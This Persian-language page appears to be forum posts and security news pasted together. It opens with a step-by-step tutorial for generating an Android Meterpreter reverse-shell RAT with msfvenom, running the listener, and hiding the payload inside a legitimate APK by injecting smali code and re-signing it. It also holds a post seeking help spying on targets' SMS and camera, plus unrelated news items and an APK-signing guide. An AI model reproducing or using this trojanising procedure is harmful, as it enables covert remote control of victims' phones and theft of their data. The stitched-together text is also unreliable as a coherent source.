با سلام دوستان امروز می خواستم اموزش متنی ساخت رات با متاسپلویت و پنهان سازی ان در apk دیگر رو بهتون بدم

خب نرم افزارایی که نیاز داریم :
1-metasploit framework
2-apktool 2.1.1 (recommended)
3-signapk

نوبت به ساخت رات میرسه :

1- ترمینال را باز کرده

2-دستور زیر را وارد کنید :
msfvenom -p android/meterpreter/reverse_tcp LHOST=[your ip] LPORT=[your port] R>[mahal zakhire]rat.apk

خب حالا باید متاسپلویت رو راه بندازیم بر اساس این کانفیگ ها:

ترمینالی جدید ایجاد کرده و دستورات زیر را وارد کنید:
1-msfconsole
2-use multi/handler
3-set LHOST [your ip]
4- set LPORT [your port]
5-set PAYLOAD android/meterpreter/reverse_tcp
6-exploit
اینم از متاسپلویت
خبحالا نوبت بایند کردن میرسه
اول از همه باید rat و فایل apk عادی رو deassemble کنیم:
ترمینالی جدید باز کرده و این دستورات رو بزنین :
1- apktool d [mahal rat]rat.apk -o [mahal folder zakhire sazi]rat
2-apktool d [mahal apk]ye chizi.apk -o [mahal zakhire sazi apk]ye chizi
خب الان هر 2 دی اسمبل شدن
کار بعدی :
1- در فولدری که حاوی محتوای دی اسمبل شده ی رات هست وارد شوید و به smali رفته و com را باز کنید و فولدر متاسپلویت رو کپی کنید
و بعد به فولدر حاوی محتوای دی اسمبل شده ی apk عادی رفته و smali را باز کردی و در داخل فولدر com paste کنید
2-فولدر apk عادی رو باز کنید( حاوی دی اسمبل) و androidmainfest.xml را با notepad++ باز کنید و به دنبال android.intent.action.main بگردید و داخل activity که ان را پوشش می دهد به دنبال android:name بگردید و چیزی که جلوی ان و بین دو " قرار گرفته را یه جا ذخیره کنید.
متنی که بین دو " بود همچین شکلی دارد : felan.bahman.bisar.yechizi
خب شما باید در smali بدنبال فولدر felan و بعد داخل ان به دنبال bahman و بعد دوباره داخل ان بدنبال bisar و وقتی به یکی مونده به اخریش رسیدید yechizi.smali رو باید با notepad++ باز کنید
خب حالا در yechizi.smali باید به دنبال:
onCreate(Landroid/os/BundleV
بگردید و زیر ان این را کپی کنید:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/ContextV

خب حالا باید همون androidMainfest.xml (برای apk عادی) رو باز کنیم و androidMainfest.xml برای رات رو هم از درون فولدرش باز کنیم و از داخل androidMainfest.xml برای رات همه تگ های user-permission رو
کپی در androidMainfest.xml نرم افزار عادی بکنیم.
همه چیز رو سیو می کنیم و نوبت میرسه به assemble کردن
وارد ترمینال میشیم و دستور زیر رو می نویسیم:
apktool b [folderi ke narm afzar adi bood] -o [ye makani]bindedrat.apk
خب الان اینتر رو می زنیم و منتظر میشیم که assemble کنه
زمانی که اسمبل کرد اخرین مرحله است که باید با signapk برنامه رو sign کنیم
دستور sign کردن :
java -jar signapk.jar [file daraye .pem] [file key] [makan apk sign nashode]bindedrat.apk [makan delkhah]signeddbindedrat.apk
خب اینم از امضا شده شد حالا اگه قربانی باز بکنه اینو ، باید ترمینالی که در ان metasploit رو بارگذاری کردیم مشاهده کنیم و برای ما shell درست می کند

اووووف چقد طول کشید ایشالا که کمکتون کرده باشه و لذت ببرید سوالی داشتین بگین در خدمتم.

پیشنهاد می کنیم از مرورگر چینی به نام "Maxthon" استفاده نکنید چرا که خیلی مخفیانه همه اطلاعاتتان را به سرقت می برد.

Maxthon یک مرورگر قدرتمند و زیبای چینی است که تاکنون دو شرکت امنیتی تایید کرده اند که این مرورگر، اطلاعات مهم و حساس کاربران خود را جمع آوری کرده و آن ها برای برای سرورهای خود ارسال می کند.

این عمل در شرایطی انجام می شود که کاربران از چنین موضوعی کاملا بی اطلاع هستند و حتی اگر با چنین اقدامی مخالف باشند این مرورگر خودسرانه این کار را انجام می دهد.

طبق گزارشات رسیده از Exatel و Fidelis Cybersecurity این موضوع یعنی همان جمع آوری اطلاعات کاربران، در برنامه ارتقاء رضایت کاربران (UEIP) وجود دارد. UEIP ویژگی است که در مرورگر Maxthon گنجانده شده است. در واقع UEIP به شرکت های سازنده مرورگر اجازه خواهد داد تا اطلاعات آماری درباره چگونگی ارتباط کاربران با محصولشان جمع آوری کنند. البته این کار توسط تمام مرورگرها، حتی مرورگرهایی همچون فایرفاکس و کروم نیز صورت می گیرد؛ اما تا حد مجاز.

نکته بسیار قابل توجه این است که محققان اعلام کرده اند فایل رمزگذاری شده ای به نام dat.txt در داخل این فایل زیپ وجود داشت. این فایل که در واقع از مجموعه ای از کدها تشکیل شده است، توانسته با استفاده از عبارت eu3o4[r04cml4eir که در مرورگر Maxthon نهفته است، سیستم رمزگذاری را بشکند. گفتنی است ؛ فایل Dat.txt شامل تمام اطلاعات سیستم کاربر بوده است.

منبع: باشگاه خبرنگاران

درود...

دوستان من پورت 1337 رو باز کردم...

No Ip جدید ساختم و DUC رو اجرا کردم و پورت رو چک کردم باز بود !

بعد برای تست روی بلواستکس اجرا کردم تقریبا بدون مشکل کار میکرد ! نسخه 4.4 Cracked

بعد ریختم روی گوشی خودم ، اجراش کردم ، اما هیچکدوم از دستورات اجرا نمیشه ، همینجوری باید منتظر بمونم ولی هیچ اتفاقی نمیوفته..

نمیدونم مشکل از کجاس ، اما همینجوری توی حالت Please Wait میمونه..

توی خوندن اس ام اس ها و گرفتن عکس این مشکل وجود داره...

من توی گوشی سامسونگ تست کردم اما تارگت های من اکثرا از هواوی استفاده میکنن بدون آنتی ویروس...

نمیدونم مشکل از کجاس هرچقدر هم منتظر میمونم کار انجام نمیشه...

ممنون میشم کمک کنید...

فرمانده انتظامی میاندوآب گفت: در یک عملیات پلیسی، هکر 20 ساله ای که اطلاعات حساب های بانکی 400 نفر را در کل کشور از طریق مجازی به سرقت برده و اقدام به خرید اینترنتی می کرد، دستگیر شد.

سرهنگ حسن شیخ نژاد اظهار کرد: برابر شکایات مردمی رسیده به پلیس فتای میاندوآب مبنی بر برداشت اینترنتی غیرمجاز از حساب های بانکی که بعد از خرید اینترنتی توسط خودشان و بدون اطلاع آنها صورت گرفته است، موضوع در دستور کار پلیس قرار گرفت.

فرمانده انتظامی میاندوآب افزود: به دنبال کسب این اخبار، ماموران پلیس فتای شهرستان اقدامات گسترده ای را برای شناسایی سارق یا سارقان انجام داده و با تحقیقات و بررسی های گسترده پلیسی، یک فرد 20 ساله در شهرستان لاهیجان که به صورت غیرمجاز از درگاه های بانکی اینترنتی استفاده می کرد، شناسایی شد.

وی گفت: پس از شناسایی این فرد و با هماهنگی های قضایی صورت گرفته، این فرد توسط ماموران انتظامی شهرستان دستگیر و به میاندوآب منتقل شد.

شیخ نژاد با بیان اینکه این هکر اینترنتی در بازجویی اولیه به سرقت رمز عبور و شماره کارت 400 نفر از دارندگان کارت های بانکی اعتراف کرده است، تصریح کرد: این فرد بعد از سرقت رمز و شماره کارت مشتریان در هنگام خرید اینترنتی، نسبت به خرید مجازی با استفاده از آنها اقدام می کرد.

فرمانده انتظامی میاندوآب افزود: این فرد در دو ماه گذشته حدود یک میلیارد و 50 میلیون ریـال از حساب های بانکی مردم برداشت کرده که روند شناسایی افرادی که از حساب های بانکی آنها برداشت شده، هم اکنون نیز ادامه داشته و احتمال افزایش افراد شاکی و مقدار وجه سرقتی نیز وجود دارد.

وی با بیان اینکه از هموطنان عزیز در اقصی نقاط کشور که با موارد مشابه برخورد می کنند، سریعا موضوع را با پلیس درمیان بگذارند، گفت: متهم پس از اعتراف و تشکیل پرونده مقدماتی برای سیر مراحل بعدی تحویل مقامات قضایی شد.

شیخ نژاد با توصیه به رعایت نکات ایمنی لازم در هنگام استفاده از کارت های عابر بانک و یا مراجعه به بانک ها، اظهار کرد: شهروندان ضمن رعایت نکات حفاظتی، از در اختیار گذاشتن رمز کارت خود در اختیار افراد نامطئن خودداری کرده و در هنگام خرید اینترنتی حتما از درگاه هایی استفاده کنند که جعلی نبوده و نیز از صفحه کلید مجازی استفاده کنند.

منبع: شبکه اطلاع رسانی راه دانا

هکر ناشناسی که ادعا کرده بود به اطلاعات محرمانه و شخصی اعضای کمیته ملی حزب دموکرات شامل بعضی از سرشناس ترین چهره های هالیوود دسترسی یافته، برای اثبات ادعای خود اقدام به انتشار اسناد به سرقت رفته کرده است.

وب سایت سیاسی «هیل» با دریافت سند اطلاعات هک شده، از لو رفتن نشانی محل سکونت، نشانی پست الکترونیک، شماره تماس و میزان کمک های مالی چهره ها و اشخاص سرشناسی همچون جی. جی. آبرامز، تام هنکس، دایان کیتن، جود آپاتو، راب راینر، گور وربینسکی، جفری کاتزنبرگ و ... خبر داده است.

«هیل» (thehill.com) یکی از مهم ترین وب سایت های سیاسی امریکا گزارش داده هکری که خودش را با نام «Guccifer 2.0» معرفی کرده به اطلاعات محرمانه اعضای کمیته ملی حزب دموکرات دسترسی یافته و برای اثبات ادعای خود سند اطلاعات به سرقت رفته را در اختیار این رسانه سیاسی قرار داده است.

وبسایت هیل از انتشار سند اطلاعات هک شده خودداری کرده و در عین حال یادآور شده نام بسیاری از اشخاص معروف و چهره های کلیدی بعضی از مهم ترین کمپانی های امریکا از جمله دیزنی، گوگل، فاکس، ای بی سی، استارز و برادران وارنر در میان قربانیان این حمله سایبری قرار دارد. یکی از مهم ترین بخش های اطلاعات لو رفته مربوط به میزان کمک های مالی چهره های معروف در حمایت از حزب دموکرات امریکا بوده است.

در هفته های اخیر، این دومین حمله ای است که از سوی هکر مرموز که ادعا می کند اهل رومانی است صورت گرفته است. عده ای از کارشناسان عقیده دارند این فرد به نوعی وابسته به ولادیمیر پوتین رییس جمهور روسیه است.

همزمان، دونالد ترامپ کاندیدای ریاست جمهوری حزب جمهوری خواه نظریه متفاوتی را مطرح کرده؛ او درز اطلاعات یادشده را حرکتی «حساب شده» از سوی حزب دموکرات خوانده تا از این طریق افکار عمومی را از مناقشات کمپین هیلاری کیلنتن منحرف کنند. هنوز هیچ یک از چهره های سرشناس هالیوود که اطلاعات محرمانه شان به سرقت رفته، واکنشی به این اتفاق نشان نداده اند.

منبع: آی سینما

عاملان هک تلگرام بیش از 25 هزار زن و دختر در کشور دستگیر شدند. خواهر و برادر جوان پس از دستگیری انگیزه خود را اخاذی اعلام کردند.

رئیس پلیس فتا استان فارس گفت: دختر جوان شیرازی با ارائه مرجوعه ای قضایی به پلیس فتا مراجعه و اظهار كرد اکانت تلگرامش هک و در اختیار شخصی دیگر قرار گرفته است. با توجه به دسترسی فردی ناشناس به اطلاعات موجود در اکانت شامل کانتکت ها، تصاویر و پیام ها و ... اقدام به اخاذی از وی می كند.

وی افزود: در مدت 48 ساعت 16 فقره پرونده دیگر با موضوع مشابه به این یگان واصل که با توجه به اهمیت موضوع، پرونده به صورت ویژه در دستور کار کارشناسان قرار گرفت.

سرهنگ سیدموسی حسینی اظهار كرد: پس از بررسی مشخص شد در تمامی پرونده های مفتوحه شخصی با تلفن همراه با شکات كه بیشتر زن و دختر هستند تماس گرفته و خود را به عنوان یکی از دوستان آنان معرفی و درخواست کد ارسال شده به گوشی شکات را می کند.

سرهنگ حسینی ادامه داد: قربانیان نیز بدون احراز هویت اصلی فرد تماس گیرنده کد درخواستی را به فرد تماس گیرنده ارسال می كنند و بلافاصله اکانت تلگرام آنها هک می شود.

وی بیان كرد: شاکیان عنوان داشتند با توجه به صدای زنانه، متهم مونث بوده و به تمام مشخصات شناسنامه ای آنها دسترسی داشته است.

رئیس پلیس فتا استان فارس گفت: در این پرونده ها هر 16 شاکی اظهار داشتند متهم یا متهمان با استفاده از شماره های مختلف با قربانیان تماس، پس از معرفی خود به عنوان یکی از دوستان نزدیک اقدام به اخذ کد تلگرام و دسترسی به آن می کرده است.

وی افزود: با بررسی های فنی و تخصصی افسران این پلیس متهمان شناسایی و با هماهنگی مقام قضایی به دادسرای شیراز اعزام شدند.

رئیس پلیس فتا استان فارس بیان كرد: متهمین این 16پرونده، خانم و آقایی بودند که باهم نسبت خواهر و برادری دارند که در خصوص موارد اتهامی به بزه انتصابی خود اعتراف كردند.

سرهنگ حسینی اظهار كرد: این دو متهم از کاربران تلگرامی که به صورت غیر مجاز به پروفایل آنها متصل شده اند علاوه بر یك هزار و 700 عکسی که از صفحه گوشی (اسکرین شات) گرفته اند، حدود25 هزار و 500 شماره تلفن موجود در تلفن همران شاکیان را استخراج كرده و همین بزه را برای شماره های جدید به دست آمده تكرار كرده اند.

وی افزود: بیشتر قربانیان زن و از استان های فارس، خوزستان، بوشهر، هرمزگان، تهران، كهگیلویه و بویراحمد و اصفهان بوده اند.

رئیس پلیس فتا استان فارس از کاربران شبکه های اجتماعی به خصوص تلگرام درخواست كرد به هیچ وجه به کسانی که در شبکه های اجتماعی از شما درخواست ارسال کدی خاص را دارند و یا درخواست ارسال اطلاعات شخصیشان را دارند اعتماده نکرده حتی اگر از سوی اکانت خانواده و یا دوست صمیمی آنها باشند و بعد از احراز هویت اصلی شخص درخواست کننده اطلاعات، با رعایت نکات امنیتی به درخواستشان پاسخ دهید.

منبع: خبرگزاری میزان

بررسی های محققان نشان می دهد حملات صورت گرفته روی وب سایت کنگره آمریکا، با استفاده از ارسال بسته های مخرب udp و از طریق سرورهای dns صورت گرفته است.

به تازگی پورتال آنلاین کنگره آمریکا، همراه با وب سایت های کتابخانه و دفتر کپی رایت کنگره تحت حملات اختلال سرویس توزیع شده قرار گرفتند. کارشناسان امنیتی کنگره، پس از سه روز موفق به رفع اختلال ایجادشده در سیستم های خود شدند.

بر اساس آمار ارائه شده، حمله صورت گرفته، در ابتدا وب سایت کتابخانه کنگره و سپس دیگر وب سایت های متصل را هدف حمله خود قرار داده است. با وجود اقدامات اولیه صورت گرفته توسط کنگره، تا چند ساعت پیش دسترسی به وب سایت های ذکر شده با مشکل مواجه بود؛ اما در حال حاضر کارشناسان امنیتی کنگره موفق به برطرف کردن این حملات و رفع کلی آسیب های موجود در وب سایت خود شدند.

سخنگوی کنگره در گفتگو با خبرنگاران افزود، حملات اختلال سرویس توزیع شده روی کتابخانه کنگره نوعی دیگر از حملات dns به شمار می رود. بررسی های اخیر نشان می دهد حمله dns نوعی از حملات اختلال سرویس توزیع شده انعکاسی است که در این مورد، از آن استفاده شده است.

نحوه حمله به این صورت است که هکر با ایجاد بسته های udp ناقص، از طریق یک سرور dns، اقدام به سازماندهی حمله مورد نظر خود می کند.

منبع: سایبرخبر

کارشناسان به تازگی یک تروجان را مشاهده کرده اند که با هدایت عوامل حمله به سمت افراد درون سازمانی، حمله خود به آن سازمان را ترتیب می دهد.

بنا به اظهارات آویوا لیتان، معاون و تحلیل گر ارشد شرکت تحقیقاتی گارتنر، اولین منبعی که در مورد کشف این نوع تروجان حمله درون سازمانی اطلاع رسانی کرد، شرکت Diskin Advanced Technologies بود. این شرکت که در سرزمین های فلسطین اشغالی مستقر است، در حوزه اطلاعات مربوط به عوامل خطر فعالیت می کند.

این بدافزار که Delilah نام گرفته است، با استفاده از ابزار اخاذی و روش های اجتماعی مانند باج خواهی، اقدام به فریب افراد درون یک سازمان می کند. این تروجان که اغلب از طریق وبگاه های بازی اینترنتی و همچنین وبگاه های مناسب بزرگ سالان وارد سامانه می شود، با جمع آوری اطلاعات موردنیاز نفوذ گران برای اخاذی از افراد، کار خود را شروع می کند. Delilah پس از به دست آوردن اطلاعات شخصی در مورد خانواده و محیط کار کارمند، در مواردی با استفاده از وب کم وی، به صورت نامحسوس اقدام به ضبط فیلم می کند. این تروجان در فرآیند کاری خود از کاربران (در این مورد کارمند سازمان) درخواست می کند که از وی پی ان و همچنین شبکه گمنام Tor استفاده کرده و همچنین تاریخچه مرورگر خود را پاک کنند. این درخواست بیشتر برای این انجام می شود که هیچ گونه اثری از تروجان باقی نماند.

لیتان دراین باره گفت که این تروجان اکنون فقط در مقیاس کم منتشر شده است و به دلیل وجود برخی اشکالات، تحت بررسی است. پیام خطا در هنگام استفاده از دوربین و همچنین غیرقابل استفاده بودن سامانه برای مدت طولانی، از اشکالات موجود در این تروجان و روش کار آن است.

محققان همچنین یادآور شدند که این تروجان باوجوداین اشکالات، بازهم توانایی بالایی دارد و می تواند قربانیان خود را به خوبی شناسایی و علیه آن ها اقدام کند. درعین حال، طراحان این تروجان در ظاهر اقدامات اجتماعی، کاربرانی را که به این گونه اقدامات نیاز دارند، مورد کلاه برداری های خود قرار می دهند.

لیتان در این مورد اذعان کرد: «به طور قطع برای مبارزه با این تروجان و دیگر بات های مشابه، جمع آوری و تحلیل اطلاعات و همچنین اطلاعاتی در مورداستفاده از وی پی ان ها و اتصالات Tor، امری مهم و ضروری است. سازمان ها باید نقاط انتهایی خود یعنی سامانه های کاربران را از آلوده شدن به چنین تروجان هایی حفظ کنند. این مهم با جلوگیری از اتصال سامانه های سازمان به وبگاه های بازی های رایانه ای و یا وبگاه های مناسب برای بزرگ سالان توسط کارمندان به دست می آید.»

عوامل درونی خرابکار در سازمان ها به مسئله مهمی تبدیل شده اند. شرکت Verizon در گزارش سالانه خود در مورد بررسی های حملات اطلاعاتی در سال ۲۰۱۶ اعلام کرد که در بسیاری از موارد، شناسایی تهدیدهای درونی در سازمان ها، ماه ها و شاید سال ها طول می کشد. محققان هشدار می دهند که این گونه تهدیدها می توانند با سوءاستفاده از دسترسی راحت خود به سامانه ها و اطلاعات، حملاتی را ترتیب دهند که در آن ها باج افزارها در ظاهر خدمات، به کاربران نمایش داده می شوند.

منبع: Delnet

سلام دوستان
تو این تاپیک میخوام آموزش امضا زدن روی برنامه های اندروید رو بهتون آموزش بدم.

پیش نیاز ها:
1-برنامه جاوا که حتما باید نصب باشه.
2-برنامه APK Signer که ضمیمه این پست هستش.

آموزش
ابتدا برنامه APK Signer رو باز کنین و طبق عکس پیش برین:
[برای مشاهده لینک ها شما باید عضو سایت باشید ]

1-توی این قسمت مسیر برنامه جاوا رو قرار بدین.

2-تو این قسمت پسوردی رو که میخواین روی کلید (key)بزارین رو وارد کنین و تو فیلد های دیگه اطلاعات لازم رو بنویسین.

3-محل ذخیره کلید رو مشخص کنین بعد روی Generate Keyfile کلیک کنید.

[برای مشاهده لینک ها شما باید عضو سایت باشید ]

بعد از ایجاد کلید وارد تب Signer بشین.
keyfile خودتون رو لود کنین و پسوردش رو وارد کنین قسمت Alias هم مینطور.
پس از این مراحل فایل apk رو که میخواین امضا کنین رو لود کنین و روی sign کلیک کنید.
فایل جدید با SINGED_UNALIGNED.apk... ذخیره میشه.

[برای مشاهده لینک ها شما باید عضو سایت باشید ]

بعد انجام مراحل بالا به تب Align برین و فایل apk جدیدی رو که sign کردین لود کنین بعد روی align کلیک کنین.
برنامه امضا شده با اسم SIGNED_ALIGNED.apk... ذخیره میشه.

تموم شد شما الان برنامه رو با کلید خودتون امضا کردین.
موفق باشید